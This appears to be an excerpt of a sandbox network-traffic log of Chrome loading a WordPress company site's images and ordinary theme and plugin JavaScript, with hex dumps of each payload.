2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 57 d5 b0 8a 88 5a 5c aa 32 7e a6 cc 96 a1 80 34 1e 2b ca cd 9a 93 bc 9e 8e 3c 77 8d a0 eb e5 9d 8d 07 73 80 48 4f d5 31 62 a8 74 82 a3 b5 71 92 67 66 e4 3b 69 7b 89 36 da 38 ab 4e 9f f4 d6 56 5f ea e5 93 14 7a d0 fc c5 66 79 a7 ed af c5 ec 5e b4 7a 26 e5 be 88 7c f5 a8 e5 7f a5 8a c3 2b ce 81 a1 58 63 e2 e4 c9 49 32 8e d1 f9 07 da 99 c3 e9 b8 b8 2d 0d 82 30 0f 17 1d 4a 70 36 f7 ba 95 fc 87 b5 5c bf d0 be 3c 0b 7b 2f 81 06 34 01 b5 a2 80 70 08 8d a7 15 80 1a d9 49 a1 b5 f3 6a b3 5a f6 6e 6c e5 9a 15 52 d8 db 6a e3 6f 6a 0e 49 1b a8 4d 9b 73 de 99 1e 56 b9 c7 40 92 9c 13 0b de 78 dc a8 e5 b6 91 dc ae 3a eb fa 14 7d 4b ad 36 09 43 61 35 db f3 72 aa 6f a2 f5 d8 fa 83 ce 34 a3 64 d4 f2 f6 d1 72 59 d1 b8 e4 c9 5b 55 d6 51 c2 2f c7 cb 86 56 d4 16 3c 1a f8 a9 aa Data Ascii: WZ\2~4+<wsHO1btqgf;i{68NV_zfy^z&\|+XcI2-0Jp6\<{/4pIjZnlRjojIMsV@x:}K6Ca5ro4drY[UQ/V<
2024-10-07 12:10:15 UTC	6716	IN	Data Raw: 72 a6 4a 77 52 8f 1b 85 c1 b5 6b b8 22 ee a1 08 dd 6b 10 f4 ee b3 99 86 45 04 72 b8 34 76 56 c9 6e de 6b ae 92 b4 f7 d5 14 c3 6e 58 d7 c8 1e 4b 79 70 4a 34 55 d7 1d a9 f9 46 e6 57 92 5d ad f3 68 83 70 8e 4b ea 1a c7 6e 8a d7 1d b4 55 f8 cd b8 56 31 da 8b 1e 5d cd 58 c6 4b a9 42 a2 f3 40 79 1b ac ad 94 24 36 05 43 8e a5 5b d0 1e e0 b1 0e a7 9a c4 dc 48 1e 5f ea 01 7a 85 7b f4 af 46 c7 eb 39 bb 32 df b2 26 8a d0 6a e4 87 45 e8 8f ea 8e bb ac 74 03 b1 5b 9e 97 36 16 48 c5 8a ad 75 2a 0b 79 77 a6 be 5a b5 7a ab 71 69 49 86 98 6e 9d 2c eb c9 3b 46 a4 fa c7 4e c4 c0 ea 0f c4 c3 76 f6 33 88 bd 0f 24 38 70 9c e3 57 59 37 fb 76 41 e6 92 ef 1a d5 41 d9 36 a3 6c b1 ab da dd 7e 27 a1 c2 b5 e8 97 a2 09 96 c8 db 8e d6 8a 54 2a fa fb 13 42 19 e7 ad 05 92 c5 85 8f 2c 7d Data Ascii: rJwRk"kEr4vVnknXKypJ4UFW]hpKnUV1]XKB@y$6C[H_z{F92&jEt[6HuywZzqiIn,;FNv3$8pWY7vAA6l~'TB,}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49764	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	590	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 12:10:15 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49763	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	639	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 13737 Content-Type: image/png
2024-10-07 12:10:15 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 ae 08 06 00 00 00 73 f5 42 d9 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRsBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 12:10:15 UTC	5778	IN	Data Raw: ac 76 f4 53 6a 83 57 c4 7d fc 8c 5b 70 5f 2b 88 bc 1d fd 94 2b f6 f3 d1 cf 95 98 ab 9b a0 65 da 04 8e d8 62 f8 13 15 2e 4c be 00 ba f8 0f 79 15 68 d4 06 b5 b3 60 45 48 33 ed 05 f2 93 22 09 7f 2f 00 9c 4b fe 8e d0 fd 31 4f 72 5f 0c 5f 33 5b dc bb 12 f4 b7 0a 16 c5 93 a0 ab 99 e4 17 f4 c8 81 c9 1e 16 f7 bd 83 f7 f2 7d 8f 41 b3 f1 fd 3b c1 c2 38 2c 2c 62 6a 33 33 a4 52 29 aa ab 4b a7 ac 42 ef 5c 96 7e 61 e9 b2 03 a4 e0 2f c8 3f 45 76 0f 0c 4a a9 be db 03 5e c4 d5 3e 1e c5 df fb 42 f2 85 a5 55 58 1a f3 cd c6 04 e5 c1 80 87 05 98 45 41 41 07 45 48 37 08 fb f7 22 98 42 51 bb f7 74 24 c9 fe 3c 22 fe 9e 06 9c e8 b8 22 2a ac be f2 92 50 e3 dc bf 4f 69 d7 a6 8a 8c 69 2c 79 79 57 ff 86 09 32 28 a4 5f f2 3e ee ff 04 08 95 67 41 10 83 34 06 b6 34 7c a9 7b 46 c2 2c fd Data Ascii: vSjW}[p_++eb.Lyh`EH3"/K1Or__3[}A;8,,bj33R)KB\~a/?EvJ^>BUXEAAEH7"BQt$<""*POii,yyW2(_>gA44\|{F,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49760	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	594	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 12:10:15 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49762	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	592	OUT	GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:40 GMT Accept-Ranges: bytes Content-Length: 48520 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:15 UTC	7923	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6e 61 76 69 67 61 74 69 6f 6e 28 29 7b 24 28 22 23 6d 6f 62 69 6c 65 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 61 2e 6d 6f 62 69 6c 65 2d 6e 61 76 2d 74 72 69 67 67 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 24 28 22 62 6f 64 79 22 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6d 65 6e 75 2d 6f 70 65 6e 22 29 7d 29 2c 24 28 22 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 6c 69 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 2e 6e 65 78 74 2d 6d 65 6e 75 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f Data Ascii: function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.sto
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 5f 65 76 65 6e 74 73 3d 7b 7d 29 7d 2c 61 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 66 2c 61 7d 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 65 76 65 6e 74 45 6d 69 74 74 65 72 2f 45 76 65 6e 74 45 6d 69 74 74 65 72 22 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 3a 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 61 7d 2e 63 61 6c 6c 28 74 68 69 73 29 2c 66 75 6e 63 74 69 6f Data Ascii: _events={})},a.noConflict=function(){return e.EventEmitter=f,a},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return a}):"object"==typeof module&&module.exports?module.exports=a:e.EventEmitter=a}.call(this),functio
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 7b 7d 2c 62 3d 30 2c 63 3d 70 2e 6c 65 6e 67 74 68 3b 63 3e 62 3b 62 2b 2b 29 7b 76 61 72 20 65 3d 70 5b 62 5d 2c 66 3d 64 28 65 29 3b 66 26 26 66 21 3d 3d 65 26 26 28 61 5b 65 5d 3d 66 29 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 65 2e 65 78 74 65 6e 64 28 67 2e 70 72 6f 74 6f 74 79 70 65 2c 62 2e 70 72 6f 74 6f 74 79 70 65 29 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 74 72 61 6e 73 6e 3d 7b 69 6e 67 50 72 6f 70 65 72 74 69 65 73 3a 7b 7d 2c 63 6c 65 61 6e 3a 7b 7d 2c 6f 6e 45 6e 64 3a 7b 7d 7d 2c 74 68 69 73 2e 63 73 73 28 7b 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 7d 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c Data Ascii: n(){for(var a={},b=0,c=p.length;c>b;b++){var e=p[b],f=d(e);f&&f!==e&&(a[e]=f)}return a}();e.extend(g.prototype,b.prototype),g.prototype._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},g.prototype.handl
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 68 69 73 2e 73 69 7a 65 3d 64 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 66 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 5b 61 5d 3b 66 3f 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 66 3f 63 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 66 29 3a 65 2e 69 73 45 6c 65 6d 65 6e 74 28 66 29 26 26 28 63 3d 66 29 2c 74 68 69 73 5b 61 5d 3d 63 3f 64 28 63 29 5b 62 5d 3a 66 29 3a 74 68 69 73 5b 61 5d 3d 30 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 73 46 Data Ascii: his.size=d(this.element)},g.prototype._getMeasurement=function(a,b){var c,f=this.options[a];f?("string"==typeof f?c=this.element.querySelector(f):e.isElement(f)&&(c=f),this[a]=c?d(c)[b]:f):this[a]=0},g.prototype.layoutItems=function(a,b){a=this._getItemsF
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 74 6f 74 79 70 65 2e 67 65 74 43 6f 6c 75 6d 6e 57 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 63 6f 6c 75 6d 6e 22 2c 22 57 69 64 74 68 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 52 6f 77 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 72 6f 77 22 2c 22 48 65 69 67 68 74 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2b 62 2c 64 3d 22 6f 75 74 65 72 22 2b 62 3b 69 66 28 74 68 69 73 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 28 63 2c 64 29 2c 21 74 68 69 73 5b 63 5d 29 7b 76 61 72 20 65 3d 74 Data Ascii: totype.getColumnWidth=function(){this.getSegmentSize("column","Width")},c.prototype.getRowHeight=function(){this.getSegmentSize("row","Height")},c.prototype.getSegmentSize=function(a,b){var c=a+b,d="outer"+b;if(this._getMeasurement(c,d),!this[c]){var e=t
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 72 65 64 49 74 65 6d 73 3d 63 2e 6d 61 74 63 68 65 73 3b 76 61 72 20 64 3d 74 68 69 73 3b 74 68 69 73 2e 5f 62 69 6e 64 41 72 72 61 6e 67 65 43 6f 6d 70 6c 65 74 65 28 29 2c 74 68 69 73 2e 5f 69 73 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 5f 6e 6f 54 72 61 6e 73 69 74 69 6f 6e 28 62 29 3a 62 28 29 2c 74 68 69 73 2e 5f 73 6f 72 74 28 29 2c 74 68 69 73 2e 5f 6c 61 79 6f 75 74 28 29 7d 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 6e 69 74 3d 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 61 72 72 61 6e 67 65 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 49 73 49 6e 73 74 61 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 4c 61 79 6f 75 74 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 6f 70 Data Ascii: redItems=c.matches;var d=this;this._bindArrangeComplete(),this._isInstant?this._noTransition(b):b(),this._sort(),this._layout()},m.prototype._init=m.prototype.arrange,m.prototype._getIsInstant=function(){var a=void 0!==this.options.isLayoutInstant?this.op
2024-10-07 12:10:15 UTC	597	IN	Data Raw: 74 28 29 2e 6c 65 66 74 29 5d 28 22 6f 6e 58 22 29 7d 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 6f 6e 58 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 24 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 78 20 6f 6e 58 22 29 2e 76 61 6c 28 22 22 29 2e 63 68 61 6e 67 65 28 29 7d 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 66 61 73 74 4c 69 76 65 46 69 6c 74 65 72 28 22 2e 72 65 73 6f 75 72 63 65 73 22 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 2c 24 28 22 61 5b 64 61 74 61 2d 72 65 6c 5e 3d 6c 69 67 68 74 63 61 73 65 5d 22 29 2e 6c 69 67 68 74 63 61 73 65 28 29 2c 6e 61 76 69 67 61 74 69 6f 6e 28 29 2c 73 75 62 4e 61 76 69 67 61 74 69 6f 6e 28 29 2c 61 63 Data Ascii: t().left)]("onX")}).on("click",".onX",function(){$(this).removeClass("x onX").val("").change()}),$("#search-filter").fastLiveFilter(".resources"),$("#search-filter").trigger("change"),$("a[data-rel^=lightcase]").lightcase(),navigation(),subNavigation(),ac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49761	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	397	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:00 GMT Accept-Ranges: bytes Content-Length: 14686 Content-Type: image/png
2024-10-07 12:10:15 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c1 00 00 00 0c 08 06 00 00 00 42 d6 bf f7 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 31 34 20 37 39 2e 31 35 36 37 39 37 2c 20 32 30 31 34 2f 30 38 2f 32 30 2d 30 39 3a 35 33 3a 30 32 20 20 Data Ascii: PNGIHDRBtEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02
2024-10-07 12:10:15 UTC	6727	IN	Data Raw: 23 28 98 92 7f 5c 4b 33 5d 07 63 cc ed e2 c3 97 bd 2d 56 7e d7 b2 8a c4 d8 84 a0 c4 f6 04 bc bb 6c 87 a8 8a 19 ba 6b f5 51 8e ed 4b b3 e8 4e 63 2f a1 99 cc f0 f9 3a f6 20 08 fe c9 62 df 6b 26 2b 71 a6 d6 f1 2a aa 79 9f 87 be c1 af 2b dc 08 75 49 18 61 24 2c aa 7b b9 39 a2 52 b8 e5 db 3d d8 b8 6a 17 06 8f 29 c5 c1 27 8d 41 65 f1 00 68 e1 1f e8 1e f3 d0 21 ba df 63 81 82 49 9f ee f1 8a 8a 31 1b 98 1d 9a 90 8a 4e f6 f7 f6 76 fb 64 67 e7 7c 5d f6 48 ef 33 3e 9a 72 4e 24 eb 58 cb 85 f9 f9 44 4e cf d6 17 4a 92 87 cf 20 a7 f3 12 f4 70 24 56 69 f3 94 8d 40 d6 2f 2e 87 67 f8 b1 f6 aa 99 a3 85 c6 a9 2f 56 8b 96 ec 95 79 15 30 5e 1e ac 20 b0 6d fa 8c a4 a5 45 06 5a 61 02 86 ea ad 5b 81 e6 fa 18 dd 6c 9e bc b9 30 03 f9 5a fa c2 ef 4f 38 df 7d b7 8f 64 fa 9c 49 f2 ab Data Ascii: #(\K3]c-V~lkQKNc/: bk&+q*y+uIa$,{9R=j)'Aeh!cI1Nvdg\|]H3>rN$XDNJ p$Vi@/.g/Vy0^ mEZa[l0ZO8}dI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49771	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	591	OUT	GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:16 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 751 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:16 UTC	751	IN	Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 69 73 5f 77 65 62 6b 69 74 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 77 65 62 6b 69 74 27 20 29 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 6f 70 65 72 61 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6f 70 65 72 61 27 20 29 20 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 69 65 20 20 20 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6d 73 69 65 27 20 29 20 20 20 3e 20 2d 31 3b 0a 0a 09 69 66 20 28 20 28 20 Data Ascii: ( function() {var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1, is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1, is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;if ( (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49772	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
